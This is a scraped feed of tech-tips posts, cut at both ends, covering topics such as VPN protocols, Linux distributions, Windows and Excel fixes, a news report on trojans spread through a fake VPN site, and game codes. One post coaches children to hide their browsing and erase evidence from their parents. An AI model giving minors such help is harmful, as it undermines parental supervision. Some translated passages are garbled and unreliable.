supports. If an application is incompatible with the type of file being saved, the folder will be grayed out. Touch the folder you want to save and click the Export to this location button.\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjK6nZqGToby2sIydqaKulWK8r3nIqKpmcF2Wu6V5zJqaZqejYsVufY9qZ2axn6iyrrXTng%3D%3D\n","link":"/post/set-up-icloud-drive-on-ios-8-and-mac-os-x-10-10-yosemite/","section":"post","tags":null,"title":"Set up iCloud Drive on iOS 8 and Mac OS X 10.10 Yosemite"},{"body":"Asus will switch to using liquid metal to replace the common thermal paste on the new Intel laptop to deal with the huge amount of heat emitted from laptop CPUs today.\nThe enormous heat generated by laptop CPUs is a problem not only for Intel processors but also for products from rival AMD.\nRyzen 4900 HS - AMD's leading 7nm laptop CPU, can also make the Asus ROG G14's CPU temperature reach nearly 80 degrees Celsius and cover up to 51 degrees Celsius. last week with a maximum clock of up to 5.3 GHz and 8 CPU cores, this temperature is even higher.\n  Therefore, Asus has decided to use Conductonaut liquid metal thermal paste on their upcoming laptops. Conductonaut is made of a mixture of tin, indium and gallium. This liquid metal has a thermal conductivity of 73W / mK, 4 times higher than conventional thermal paste.\nConductonaut contains Gallium, a substance that can destroy aluminum and be toxic if exposed directly through the skin, so if you put a little of this liquid on the motherboard, the laptop may be damaged. Therefore, Asus has developed an automated system to safely bring this heatsink to the CPU outer shell. For more details on this process, please watch in the video below.\nAsus says that this liquid metal heatsink can help the CPU reduce temperatures by 10 to 20 ° C, and it also helps improve fan noise and laptop battery life. However, currently this heat sink is only used for Intel laptops.\nncG1vNJzZmismaXArq3KnmWcp51kwrS1zaBkpaGhqralecyeq5qkXZ67tMDEmptmp5Ziwamx0aaYpWWglsC1sYyaqq6rXaGuscDOqapmr5mhuW6uxGZoaWWkpHpzfIydnKCqlZrAbq%2FOqKOeql2ptaK6jK6qrpmc\n","link":"/post/using-liquid-metal-instead-of-thermal-paste-asus-laptops-will-be-10-to-20-degrees-cooler-than-usual/","section":"post","tags":null,"title":"Using liquid metal instead of thermal paste, Asus laptops will be 10 to 20 degrees cooler than usual"},{"body":"\u0026nbsp;SSTP is difficult to block and only provides good speeds if you have enough bandwidth.\nWhat is SSTP (Secure Socket Tunneling Protocol)? Short for Secure Socket Tunneling Protocol, SSTP is a type of VPN tunnel that uses SSL 3.0 channel to send PPP or L2TP traffic. SSL allows for the transmission and encryption of data, as well as checks the integrity of the traffic. Therefore, SSTP can bypass most firewalls and proxy servers by using the SSL channel over TCP port 443.\nSSTP is available for use in Windows environments (since Windows Vista SP1), in RouterOS, and in SEIL (since firmware version 3.50). SSTP can be used with Winlogon or smart card authentication, remote access policies, and Windows VPN client, as it is integrated with the RRAS architecture.\nAs with other IP-over-TCP tunneling protocols, SSTP works well only if there is enough bandwidth on the un-tunneled network link. If there is not enough bandwidth, the TCP timer (the tool used by TCP to avoid excessive delays in communication) will probably expire, causing a large drop in SSTP performance.\n  \u0026nbsp;\nThe client system connects to the server through TCP (Transmission Control Port). SSL uses port 443 to connect to the server. To confirm the connection, it requires user authentication and is usually authenticated by the client. Protocol that uses a server certificate for authentication.\nWhy is SSTP such a popular VPN protocol? There are many really popular endorsement reasons for SSTP. For example, SSTP offers the highest level of security i.e. 256-bit AES encryption. Furthermore, the port it uses can evade most types of firewalls. Since SSTP is a property owned by Microsoft, it is fully compatible with Windows.\n  Advantages and disadvantages of SSTP Advantages\nCapable of bypassing most types of firewalls. The security level depends on the cipher, but it is usually secure. Supported by Microsoft \u0026amp; integrated into Windows operating system. Defect\nSince this is the property of Microsoft, no third party can test for the security vulnerability. Slow speed due to high encryption level. SSTP VPN protocol ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWjqMGxedKemq6qlWLAsK%2FKnqtmrKWju6a4yKeeZqiipMGwr86l\n","link":"/post/what-is-sstp-secure-socket-tunneling-protocol/","section":"post","tags":null,"title":"What is SSTP (Secure Socket Tunneling Protocol)?"},{"body":"Unlike Windows and macOS, installing Linux is not easy. Searching for the keyword Linux on the Internet will bring you a lot of operating systems with different names, but there is no operating system called \"Linux\". Why is that?\nLinux is increasingly becoming the operating system of choice for seasoned tech enthusiasts and casual users alike. But why are there thousands of operating systems or \"distributions\" all collectively referred to as \"Linux\"? And why do developers keep creating so many operating systems of the same kind? Let's find out with TipsMake through the following article.\nWhat is a Linux distribution? First, it's important to know what Linux really is. Linux is not an operating system but a kernel, the component that connects the computer hardware to the operating system. When you launch an application on your computer by clicking on an icon, it is the kernel that communicates with the operating system to launch the application and display the output on the screen by hardware, i.e. screen.\nAn operating system consists of an underlying kernel, applications, and usually a graphical user interface. Linux is the kernel and all operating systems that use it are called \"Linux distributions\". The term \"distribution\" comes from the process of sharing a Linux-based operating system with other users, also known as a \"distribution\" because the kernel and operating systems are generally free.\nWhat made so many Linux distributions? The Linux kernel is licensed under the GNU General Public License, allowing anyone to view, edit, and distribute any application of the kernel. But it's not always like this.\nBefore that, Unix was a popular operating system, but its source code was owned by AT\u0026amp;T. After a while, BSD (Berkeley Software Distribution), a largely Unix-based operating system, was born at the University of California, Berkeley. There were also many other Unix-based operating systems at the time, and they were all very different.\nThe lack of a standard for creating Unix-based operating systems and the antagonism between operating systems at the time led to the era known as the \"Unix wars\". Various vendors distributed their own versions of Unix and began to set their own standards, including AT\u0026amp;T and BSD.\n In 1983, Richard Stallman started the GNU Project, which focused on the development and distribution of free and open source software. The GNU Project aims to create a free version of Unix, one that anyone can copy and freely distribute.\nMany applications were developed under the GNU General Public License at the time, including TAR and Emacs. But the project lacks an open-source kernel, the part of the computer that helps the operating system and applications interact with the hardware.\nIn 1991, eight years after the GNU Project started, Linus Torvalds started developing Linux. And a year later, Linux was re-released under the General Public License, becoming what we now call GNU/Linux. Since the Linux kernel is licensed under the GPL, anyone can create an operating system on top of it and distribute it freely.\nThe ability to create their own operating systems for free has encouraged many developers to start creating their own distributions. A variety of distributions including Debian, Red Hat, and Slackware were released at the time, starting the Linux revolution.\nWhy are new Linux distributions created? The main reason developers continue to create and distribute new Linux-based operating systems is simply because it's something they can do. Linux kernel and free applications. The resources to create an entire operating system on the kernel don't cost a dime either.\nNowadays, one rarely creates a distribution from scratch. Instead, they use another popular distribution and build a new operating system using the old operating system as a base or remake it with a new graphical user interface and applications. add.\nUbuntu has several versions, like Xubuntu, Kubuntu and Lubuntu. The only difference between these 3 versions is the desktop environment. Instead of the default customized GNOME desktop that comes pre-installed on Ubuntu, Xubuntu, Kubuntu and Lubuntu have XFCE, KDE Plasma and LXDE respectively.\nThe main goal of the operating system is to make the desktop easier for users. When someone wants a new feature in an operating system, the traditional route is to provide feedback to the company that developed the operating system. The GNU Project has completely changed this.\n It is the users themselves who will use, develop, provide feedback, deploy and, ultimately, distribute an open source distribution. You are free to create your own distribution and add desired features in your own dream operating system.\nAnyone with the same thoughts and opinions can contribute to the project and help the developers. There's no need to contact a company or fill out a feedback form just to get an extra feature to add to the operating system.\nNot only users, but even large companies create new distributions for internal use within the company. Microsoft's CBL-Mariner is a prime example. This is mainly because large companies do not want to use distros created by other users and want to develop their own operating systems from scratch or based on another mainstream distro.\nThe Linux project has grown to the point where tech giants like Google have also started to depend on the Linux kernel for some projects. Take Android and Chrome OS as examples. Android uses the Linux kernel internally, and Chrome OS is built on top of Gentoo Linux, a distribution released in 2000.\n Another reason for the fragmentation of the Linux desktop is the wide variety of devices available. In addition to desktops, other devices such as those based on ARM processors, also require an operating system to run. Linux solves this problem by providing the facility for developers to create an operating system for any processor they want.\nRaspbian OS is a distribution created specifically for Raspberry Pi devices. You can also find countless distributions developed to run on older processors that are not supported by proprietary operating system vendors.\nIs there really a need for so many distros? If you are someone who simply needs a computer and an operating system to get the job done, of course not. You can use any operating system as long as it suits your capabilities. But for those who want more options when it comes to devices and digital lives, Linux is the right choice.\nYou can try several Linux operating systems and choose the one you find best, or keep copying and testing new distributions. Linux gives you that choice. As long as people continue to support and contribute to the open source ecosystem, you will continue to see new distributions developed and released for free on the Internet.\nThat's how open source works! Although many proprietary operating systems like Android and macOS have closed source code bases, they used Linux as the foundation of their projects. This is perfectly acceptable because the license under which the Linux kernel is released allows anyone to modify and distribute the code without any restrictions.\nDue to the huge community support behind Linux-based operating systems, new and exclusive features are constantly being added to the distributions. While you can find many of these features on other proprietary operating systems like Windows and macOS, some of them are limited to a handful of Linux distributions.\nlinux distro linux distribution ncG1vNJzZmismaXArq3KnmWcp51kxKnFjJ2mnqtdobavwddmn5qulWLAsHnMmqWyZZSewLW%2ByJusraGfo8A%3D\n","link":"/post/why-does-linux-have-so-many-distributions/","section":"post","tags":null,"title":"Why does Linux have so many distributions?"},{"body":"International cybersecurity researchers recently discovered a fake website that hides a VPN service, but is actually used to spread and install two malicious password-stealing Trojans, Vidar and CryptBot, into the network. victim's system. The trojans will then attempt to steal all information stored in the browser as well as important data from the victim's computer and send it to the hacker server.\nSpecifically, this fake website is called 'Inter VPN' and advertises itself as the \"fastest VPN\" to deceive the gullible. To convince those more alert, this website will continue to display images of the VPN client, which is actually an image of the legitimate VPN Pro software, like the screenshot below.\n  Fake website\nHowever, in the installer of this VPN Pro software, hackers have attached trojans. If you download and activate the installer, the trojan will spread on the system. According to security experts' analysis, the installer will continue to use AutoHotKey scripts to download several types of trojans, including Vidar and CryptBot.\nThis AutoHotKey script is designed so that when launched, it can send information to a malicious address named iplogger.org and then download the Vidar and CryptBot executables depending on the attack being in progress. Distributed on site.\n  AutoHotKey Script\nOnce the trojans are downloaded successfully, they will immediately launch and collect various types of information in the victim's system and send it to the attacker's server. Data stolen by trojans can include browser credentials, cookies, screenshots, text files, e-wallets, and many other types of sensitive personal information. More dangerous, the entire operation will be performed in the background, so the victim is almost completely unable to detect any anomalies.\n  Traffic of CryptBot malware\n  Malicious Vidar traffic\nTo protect yourself from this type of attack, you must first ensure that the website you're about to visit has a legitimate URL. Then use a malware scanner like VirusTotal to check the safety of any software you plan to download from that site.\nncG1vNJzZmismaXArq3KnmWcp51kf26wwKeenqqfqsBuwNGooZqmo2Kus7GMm5yippdisaq%2F06ugm62kmrFutMSaraKkqWLBqb7Orp6hZZaWuKZ51amlZq%2BVl8A%3D\n","link":"/post/2-dangerous-trojans-are-being-distributed-heavily-through-fake-vpn-webs/","section":"post","tags":null,"title":"2 Dangerous Trojans are being distributed heavily through fake VPN webs"},{"body":"Since Windows 10 build 14997 , Windows 10 allows users to activate Blue Light mode to reduce stress and fatigue. When this feature is activated, the color gamut on the screen will reduce the blue light, making your eyes feel more comfortable at night.\nThere are two ways to enable and disable Blue Light features on Windows 10 computers. One is to use the Quick Action button on the Action Center panel. Or another way is to use the Settings app. In the Settings app, there are many options that you can tweak. If you use the Quick Access button, the operation will be faster, more time-saving.\n1. Activate Blue Light Reduction on Windows 10 First open Action Center by applying one of the following methods:\nClick the Action Center icon in the Taskbar. Press the Windows + A key combination. The Action Center panel appears on the screen.\n  Here you click the Expand link.\n  Next, find and click the Blue Light button.\n  And the feature has been activated.\n  2. Activate Blue Light Reduction on Windows 10 through Settings Alternatively, you can activate and configure the Blue Light Reduction feature by using the Settings application.\nFirst open the Settings app by pressing the Windows + I key combination.\n  On the Settings window, find and click System - Display .\nHere you find and switch the \" Lower blue light automatically \" option to ON.\n  Click the Blue light settings link to open the Blue light settings window.\n    Here you can adjust the color temperature at night and schedule the time when the Blue Light Reduction feature is automatically activated.\nRefer to some of the following articles: How to transfer photos from iPhone, iPad to Windows 10 computer Add some solutions to speed up Internet connection on Windows 10 computers Cannot create a new user account on Windows 10, 8.1 and 8, this is how to fix it Good luck!\nncG1vNJzZmismaXArq3KnmWcp51krqTAyK%2BYrZ1dl7m2sYyloKCgpGK6sLDEZqanZaeeu6W71qxkamg%3D\n","link":"/post/activate-blue-light-mode-on-windows-10/","section":"post","tags":null,"title":"Activate Blue Light mode on Windows 10"},{"body":"Download AirDroid for Windows here.\nDownload AirDroid for MAC\u0026nbsp;here.\nDownload AirDroid for\u0026nbsp;iOS here.\nDownload AirDroid for\u0026nbsp;Android\u0026nbsp;here.\nDownload AirDroid for Web\u0026nbsp;here.\nFeatures of AirDroid A versatile application AirDroid is the ultimate solution for managing your phone, performing a variety of functions including file transfer, screen mirroring, remote control and SMS notifications right from your computer - all with a single click. an AirDroid app.\nSuitable for all platforms AirDroid Personal supports and works on all major platforms over the Internet. AirDroid has everything you need, including a web version that makes managing your phone and tablet easier than ever.\nRecognized by many users With rich features and excellent user experience, AirDroid has received praise and recognition from the media and millions of users worldwide. AirDroid currently has a 4.3-star rating from users from Google Play, building on 10 years of continuous improvement.\n  File transfer and management AirDroid helps you transfer and manage documents and files across platforms, wirelessly and without compromise.\nEnjoy high-speed file transfers within the local network and provide a seamless experience when switching to WiFi, 4G or 5G networks.\nAirDroid's Nearby feature allows you to easily share files with friends and family even without the Internet.\nRemote control AirDroid supports remote control on all Android phones and tablets of various brands and models. The remote control feature on AirDroid is very simple, no need to root the phone, giving you full control of the device.\nRemote control for AirDroid is easy to set up and runs smoothly even when your device is on the other side of the world.\nScreen projection With AirDroid, you can mirror your Android phone's screen onto your computer and view your content on the big screen. Screen mirroring does not require the phone and computer to be on the same network. A practical solution for many different situations.\nRemote monitoring Take advantage of unused Android phones and let them be your eyes using the remote camera feature. Monitor your device surroundings or listen to ambient sounds with One-Way Audio, so you don't always have to be on the screen.\nRemote cameras are handy in many ways, including monitoring babies and pets or protecting the home, being able to do it all without the extra cost of a new camera.\nManage Notifications \u0026amp; SMS AirDroid helps you focus on work by letting you manage your phone right from your computer.\nYou can receive and send text messages, connect to a headset, type or copy phone numbers, and make calls right from your computer. The Notification feature allows you to sync your phone's app notifications (such as WhatsApp, Line and Facebook Messenger) with your computer and you can reply to them directly on the screen. Important messages are always updated.\nAirDroid Download AirDroid ncG1vNJzZmismaXArq3KnmWcp51krqq%2Bw6umopxdmby4usuomJ1lkZ6%2Fpb7OoptmoJWnsg%3D%3D\n","link":"/post/airdroid-download-airdroid-here/","section":"post","tags":null,"title":"AirDroid - Download AirDroid here"},{"body":"Besides the codes in Roblox games such as Fishing Simulator code, Survive The Killer code, Muscle Legends code, Grand Piece Online code, My Hero Mania code, All Star Tower Defense code. Blox Fruits is also a Roblox game that many gamers hunt for code.\nCode list of Roblox games will be updated regularly, below is a list of Code Blox Fruits.\nLatest Blox Fruits Roblox Code and how to enter Latest Code Blox Fruits StrawHatMaine – 20 minutes 2x exp (new) UPD14 – XP Sub2NoobMaster123 – 15 minutes 2x experience points Sub2UncleKizaru – reset stats Sub2Daigrock – 15 minutes 2x exp Axiore – 20 minutes 2x exp TantaiGaming – 15 minutes 2x exp StrawHatMaine – 15 minutes 2x exp Sub2OfficialNoobie – 20 minutes 2x experience points Fudd10 – 1$ Bignews – in-game title TheGreatAce – 20 minutes 2x exp How to enter code Blox Fruits Simply select the bird icon as shown below, enter the code in the box containing the code content and click Try to receive the corresponding reward from the code.\n  If you entered one of the above codes without success, it may have expired or be a limited code type. The game publisher may have put a limit on the code. If you enter the code and don't see any reward, leave a comment about that code below.\nWhen is the new Blox Fruit code available? The way to know when new Blox Fruits are available is to update them regularly. You can note this website of TipsMake to keep track of the new Blox Fruit code every day. In addition, the appearance of the new Blox Fruit code may be in the event of a real-life event or time, such as Birthdays, Christmas, New Year's coming and many more.\nncG1vNJzZmismaXArq3KnmWcp51ksLCwxGaZpaeoYrOzwcitqmaipaOybn6Pa2hmmZ6Zeqm71marqGWVo8Gmvg%3D%3D\n","link":"/post/code-blox-fruits-june-2021-and-how-to-enter/","section":"post","tags":null,"title":"Code Blox Fruits June 2021 and how to enter"},{"body":" Do you want to look at a website but don't want your parents to know? This article will help you. Find a website your parents will allow you to use. Visit that website and keep the page open.\nMethod 1of 3:\nIncognito Browser Method  Find a website your parents will allow you to use. Visit that website and keep the page open.\n  Find the website you want to use and open it up in a new window or tab. Make sure to watch and listen for parents or anybody else that may tell on you. If someone comes, quickly switch windows or tabs to the other website. In Windows, you can quickly close the tab or window by pressing Ctrl+W. In Linux, you can switch workspaces quickly using the mouse wheel. Open your System Settings and click on Windows Manager Tweaks. Then select Workspaces tab and check the Use the mouse wheel on the desktop to switch workspaces.   Clear your history. When you're finished, delete all the history on your computer that leads to any websites your parents don't want you on. In Firefox, there is actually an option you can select which will automatically clear your browsing history when you exit the browser. This article will guide you in setting that up.   Using incognito mode! This is a special window in the browser which, when used, does not record any internet data, history, or cache. Most popular browser have such an option. In Internet Explorer, you can press Ctrl+⇧ Shift+P to enter Private browsing. To exit incognito mode, simply close the window with incognito enabled. In Firefox, you can press Ctrl+⇧ Shift+P. To exit this window in Firefox, press the same buttons. In Google Chrome, you can press Ctrl+⇧ Shift+N to enter Incognito Mode. To exit incognito mode, simply close the window with incognito enabled.  Method 2of 3:\nAlternate Browser Method  Download another internet browser such as Firefox or Safari.\n  Do not make this browser your default browser. When you install it make sure to not set as your default browser.\n  Clear all evidence of the installation. If you are using Windows, delete the quick launch shortcut and move it to some safe location.\n  Use this browser to surf the internet privately. Now, you can use the other browser for stuff you don't want your parents to know about. The favourites, history, cache, and cookies will be separate from your normal browser. Your parents will continue to use the other browser normally, and even if they check the history they won't find anything, but make sure they don't notice the other browser.\n Method 3of 3:\nPortable Firefox Method  Select a device to host your portable applications. Any cell phone, MP3 player, camera, USB flash drive, or portable hard drive which comes up as a removable device in Windows will work.\n  Download the Portable Firefox. You can search it on Google.\n  Install their launcher menu and then portable Firefox on your device.\n  Restart your device. You can do this by unplugging your device and plunging it back in, or you can turn it off, then turn it back on.\n  Unblock Windows Firewall. Windows will ask you what you want to do; let it start PortableAppz.blogspot.com; this will open the menu. Red, looks like the Start menu, comes up on the right.\n  Click the Firefox icon/name on the menu. Portable Firefox will keep all of your bookmarks, history, and settings on your device; it won't leave anything behind on the host computer. You can take it to a friend's house, hook it up, and all of your stuff is there. 4GB and 8GB flash drives can be bought for very cheap now online and in some stores. Corsair drives tend to have the fastest speeds.   Be sure to exit the menu (grey circle with white arrow) when you're done using it.\n  David Pac Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqipMS0sYyipa2doqOytXnWnpmsoaSawG7DyK2fqK2kYsawwdFmp5qqlaPBtHnKp6awoZ6c\n","link":"/post/how-to-browse-internet-websites-without-your-parents-knowing/","section":"post","tags":null,"title":"How to Browse Internet Websites Without Your Parents Knowing"},{"body":" Copying and pasting texts in Microsoft Word is very important because it saves you lot of time and energy when duplicating words a number of times. You can select and copy a word, or group of words, and then duplicate it by pasting the...\nPart 1of 2:\nOpening a Microsoft Word Document  Launch Microsoft Word. The Microsoft Word icon should be found on your desktop; just double-click on it to launch the program. If it's not on the desktop, find in the program files and click the program to launch.   Open a Word document. Do this by clicking 'File' on the top-left corner of the screen and selecting 'Open.' An explorer window will appear where you can navigate your folders until you find the Word document you want to open. Once you've found the document, click on it to select, then click 'Open' on the bottom right side of the window.  Part 2of 2:\nCopying and Pasting  Find the text you want to copy. Scroll through the document until you find the text you want to copy.\n  Highlight the text. You can highlight a text by left-clicking then dragging your mouse pointer over the text that you want to copy.\n  Copy the word(s). After highlighting, right-click then choose 'Copy' from the options that come up. Alternatively, you can press Ctrl + C on your keyboard or click the 'Copy' button in your Microsoft Word, which is located at the upper-left side of the Home tab, after highlighting the texts.   Paste the word(s). Go to the part of your document where you want to place the text(s) that you've copied and then click on it. Right-click, and choose 'Paste' from the options that appear. As a shortcut, you can also press Ctrl + V on your keyboard, or click the 'Paste' button on the Home tab at the upper-left side of the screen.   Marvin Fry Update 30 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZurc2dZKmZo6mybrXNZqSim6KkwLCy02auqKqU\n","link":"/post/how-to-copy-and-paste-in-microsoft-word/","section":"post","tags":null,"title":"How to Copy and Paste in Microsoft Word"},{"body":"1. Check the USB connection on the phone (Windows / Mac) Your Android device has several modes of connecting your phone to your computer. Each mode serves a different purpose, so if used incorrectly, the devices will not recognize each other.\nHere's how to change the connection mode on the phone:\nConnect your phone to your computer via a USB cable. Pull down the notification bar, you will see the current connection mode. Click on that mode to open the USB Preferences page . Select File Transfer .   Then, your phone will appear in the hard drive of File Explorer or Finder. Now you can start copying files to or to your device.\n\u0026nbsp;\n2. Update MTP USB Driver on PC (Windows) If you use your phone as media on your computer, you need to enable MTP mode on the computer. This requires the MTP driver installed and updated on your computer.\nMost computers already have this driver installed. If they expire, you can easily update using Device Manager:\nStep 1. Connect your phone to your computer via USB.\nStep 2. Open Device Manager by right clicking on the button Start or press the Win + X .\nStep 3. Find your Android device in Portable Devices , right-click and select Update driver .\n  Step 4. Select Browse my computer for driver software .\nStep 5. Click on the option Let me pick from a list of available drivers on my computer below.\nStep 6. Select MTP USB Device from the list and click Next .\n  When the driver is updated, your phone will look like a media device.\n3. Using the Android File Transfer tool (Mac) Unlike Windows, you cannot transfer files directly from Android to Mac. You need to install the tool on your Mac first, to make it a bridge between you and your Android device.\nThis tool is called Android File Transfer, you can download it from the official Android website:\nStep 1. Download the Android File Transfer tool from the Android website.\nStep 2. Open the downloaded file and drag the tool to your Applications folder .\nStep 3. Double-click the tool in your Applications folder (or search Spotlight with Cmd + Space ) to open it.\nStep 4. Plug the Android phone into the computer via USB.\n  Your phone should now appear in the newly installed tool.\n\u0026nbsp;\n4. Use a different USB cable and port (Windows / Mac) If you tried the above and the problem still persists, your port or USB cable is probably damaged. Of course, if it is broken, how to connect anything.\nFortunately, most computers have multiple USB ports. Try a different port to see if your phone is connected. You should also use a different USB cable to see if the computer recognizes your device.\n5. Update computer operating system (Mac) On Windows, you can connect your Android phone regardless of which version of your computer's operating system is. However, with Macs, older versions of macOS can cause Android device connectivity problems.\nTherefore, you should update the macOS version if the phone cannot connect to your computer. Please follow the steps below:\nStep 1. Click on the Apple logo in the left corner and choose About This Mac .\nStep 2. Click the Software Update button to update the software for Mac.\nStep 3. If new macOS software is available, download and install it on your machine, then reconnect it again.\n  6. Uninstall other Android connections (Windows / Mac) A few phone manufacturers offer proprietary connectivity, for example Samsung SideSync. These tools may affect normal Android connections, preventing your computer from recognizing your phone connection.\nIf you are installing these tools, try removing it from your computer to avoid conflicts. Then, reconnect your phone and computer to see if it works normally.\n\u0026nbsp;\n7. Run Windows Device Troubleshooter (Windows) Windows 10 has a few troubleshooter that can help you find and fix the error. Luckily we have a fixer for peripheral devices like Android phones. You can use this tool to fix phone and computer connection problems, which are imperfect, but worth a try.\nMicrosoft removed the Hardware and Devices troubleshooter from the latest version of Windows 10, but it's still accessible via the command line:\nPress Win + X and choose Windows PowerShell (Admin) or Command Prompt (Admin) from the list. Enter the following command: You should see the Hardware and Devices troubleshooter . Click Next for the tool to detect errors on your device. It will then offer solutions to fix that error. If you're on an older version of Windows 10, you can find the tool through:\nTurn on Settings on your PC, click Update \u0026amp; Security and choose Troubleshoot from the left sidebar. From the list, click Hardware and Devices to open the debugger. ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqiusOrpqKcXZmyt7XCnmSnp6RisLC6zZ6araGenHq1u4ytn55lk6S6scHTnqk%3D\n","link":"/post/how-to-fix-android-device-not-connecting-to-the-computer/","section":"post","tags":null,"title":"How to fix Android device not connecting to the computer"},{"body":"You see your Excel file is slow, making the process of working with Excel is not as fast as before. Don't you know how to fix slow Excel file, speed up processing for Excel file like? So let's find out in the article below.\n  Here TipsMake.com shares with you some ways to fix the slow Excel file to increase the processing speed for Excel files, please follow along.\nSave as .xlsx file format The .xls file format is the format of Excel 97-2003 version, this is a faulty version with low data compression capability. So if you use high versions of Excel, you should not save in this format because it can increase the file size.\nSo you should save the file as .xlsx for files that do not contain macros, save as .xlsm or .xlsb if the file contains macros.\nDisable all add-ins A performance issue, causing slow Excel files can also be caused by add-ins. If not used, you should disable all add-ins in Excel. To disable all add-ins you do the following:\nStep 1: Select File -\u0026gt; Options .\n  Step 2: In the Excel Options window, select Add-ins , select Excel Add-ins in the Manage section, and select Go .\n  Step 3: Uncheck all add-ins and click OK .\n  Use the Repair option You can try the Repair option to fix Office errors which is the fastest solution to solve the problems. You do the following:\nStep 1: Select Control Panel -\u0026gt; Uninstall a program .\n  Step 2: Right-click on the Office you are using and select Change .\n  Step 3: Select Quick Repair -\u0026gt; Repair .\n  Wait until the process is finished, then try opening Excel again. If the slow Excel error persists, select Online Repair .\nActivate Manual Calculation If the Excel file contains many formulas, images, etc., it will also slow down your Excel file. You need to disable the Automatic Workbook Calculation option and enable the Manual Calculation option .\nYou do the following:\nStep 1: On the excel file, select File -\u0026gt; Options .\n  Step 2: In Excel Options, select Formulas . In the Workbook Calculation section, select Manual and uncheck the option in Recalculate Workbook Before Saving and click OK .\n  Delete unnecessary formulas, optimize formulas in Excel If the Excel file has too many complex formulas, it will make the file heavier, more calculated. So you should minimize the cells that use formulas, you should also develop algorithms to optimize formulas, simple formulas, which will help the process of calculating quickly, Excel files are also increased. processing speed.\nIf the formulas are not needed, you should delete them to avoid heavy Excel files.\nControl auto filter filter settings If you set the filter automatically, it will make the Excel file worse, so you should select the area to create the filter and then create the filter, then the Filter will only create areas with data and areas without Related will not create filters that avoid heavy Excel files.\n  Above are some ways to fix slow Excel file, you can try to change to speed up processing of your Excel file. Hope this article will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmxMKeo2aemaGybrXSZqqlp6diwLGxxJ1krqhdpb%2Bwr8SsqqKml2KzsL6Mnq%2BcnZxis6q4xA%3D%3D\n","link":"/post/how-to-fix-excel-file-is-slow-speed-up-processing-for-excel-file/","section":"post","tags":null,"title":"How to fix Excel file is slow, speed up processing for Excel file"},{"body":"The address 192.168.1.1 is the default of the Modems, but in some cases you cannot access it, this is the fix to not access 192.168.1.1.\n  1. The default Modem address is not 192.168.1.1 There are many people mistakenly think that 192.168.1.1 is a golden key and can access many different network modems. But there are carriers that are very hard to play against each other by not leaving this \"national\" address but replacing it with some other addresses such as 192.168.0.1 or 192.168.1.2, . This makes the address 192.168.1.1 become should be completely useless.\nSolution: For networks that have changed the default IP address, we just need to harden the Wifi Modem and it will return to the factory default address printed under the Modem that is 192.168.1.1.\nHard Reset Method: Hard Reset Modem you need a small rod and hold the Reset button deep in the hole for 3 seconds until all the lights are flashing.\n2. There are multiple transmitters at one point With the current home system, most often use additional Wi-Fi transmitters to cover the entire family. You need to determine which is the Router and which is the Modem. A modem is a device that provides a network and can play Wifi. And the Router is the device that uses the network from the Modem to generate Wifi. Because of this, you can catch Wifi of the Router, you cannot access 192.168.1.1. You need to be connected to the correct network / Wifi from the Modem to access 192.168.1.1.\nSolution: Turn off Wifi / Router transmitters to access the network from Modem.\n3. Assign the address directly instead of using the Windows address On Windows operating systems, if you do not set an IP address, it will use different random, automatic IP addresses. So we can interfere with them by forcing them to use the pre-set IP addresses.\nStep 1: You press Windows + R to open the RUN window and enter ncpa.cpl .\n  Step 2: Then you Right-click on the network you are using and select Properties .\n  Step 3: Next, you find the Internet Protocol Version 4 (TCP / Ipv4) .\n  Step 3: Finally, select Use the following IP address and set the following parameters:\nIP Address: 192.168.1.10 Subnet Mask: 255.255.255.0 Default Gateway: 192.168.1.1   Finally, click OK to finish and try to access the address 192.168.1.1 .\n4. There are many intermediaries Wifi transmitters If you not only use a Modem but use many different Modems, it is obvious that having many Default gateway addresses. But we can still determine the Default gateway address can be accessed by the following:\nStep 1: You press Windows + R to open the RUN window and enter CMD to open the Command Prompt .\n  Step 2: Then you enter the command ipconfig and press Enter .\n  Step 3: Then there will be information for you about the Default  Gateway address that you can access.\n  5. Update Network Card Driver During use, it may also be caused by your network card is using the old driver version and is no longer compatible. To solve this problem is very simple.\nStep 1: You enter This PC into the Windows Start window and select Manage .\n  Step 2: Next, select the Device Manager tab and select Network adapter . Here you find your network card (usually the motherboard uses a network card called Realtek PCIe .) and select Update driver .\n  Thus, in this article, the Software Tips have guided you 5 ways to fix the error of failing to access the address 192.168.1.1 on your computer and network. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmnKuqn6d6pK3NZqWorF2WsKSx0qxkanFiZoN5fZA%3D\n","link":"/post/how-to-fix-the-error-can-not-access-192-168-1-1/","section":"post","tags":null,"title":"How to fix the error can not access 192.168.1.1"},{"body":" Replacing the brakes on a John Deere 5105 can be very complicated but can be very simple and easy with the proper instructions. Please wear safety glasses and closed toed shoes during this repair. If you're not absolutely certain what...\nPart 1of 2:\nRemoving the Old Brakes  Find a good work area, preferably in a closed in shop. Also, make sure the work area is clean.\n  Make sure the tractor is cleaned before pulling it into the work area.\n  Acquire the proper tools for the job. The following are the tools required: wood wedges, 3 ton floor jack and jack stands, a cherry picker hoist, short chain with hooks, 1/2\" drive impact socket set, 1/2\" drive impact, 1/2\" drive torque wrench, a set of wrenches and a 3/8\" drive socket set with ratchet.\n  With the tractor in the work space, put the wedges between the front axle and the frame.\n  Place the jack on the rear end of the tractor and jack it up until the rear tires are a 1/2\" off the ground. Place the jack stands under the tractor and be careful not to place them under the final drives. The best place to place the jack stands is under the transmission. Once jack stands are in place the tractor can be set down and the jack removed.\n  Remove the wheels from both sides of the tractor.\n  Remove the fenders, fuel tank, and ROPS. Be sure to set them out of the way and start draining the hydraulic oil from the tractor.\n  Remove the linkage for the brakes from the final drives and start unbolting the final drives. Leave two bolts loose in the final drive and wrap it with a chain and hook the cherry picker hoist to it.\n  Wiggle the final drive loose and then remove the two bolts. Once the bolts are removed the final drive can be pulled away from the tractor and set down.[1]\n  Turn the final drive up so the hub for the wheel is on the bottom and the brakes can be accessed.\n  Remove the shaft that connects the final drive to the tractor and set it on a rag in a clean place.\n  Access and pull out the brakes. There should be a metal disc, brake pad, metal disc, brake pad, then the brake piston. A bolt from one of the clips might need to be loosened to remove the metal discs and brakes.[2]\n  Remove the shaft for the 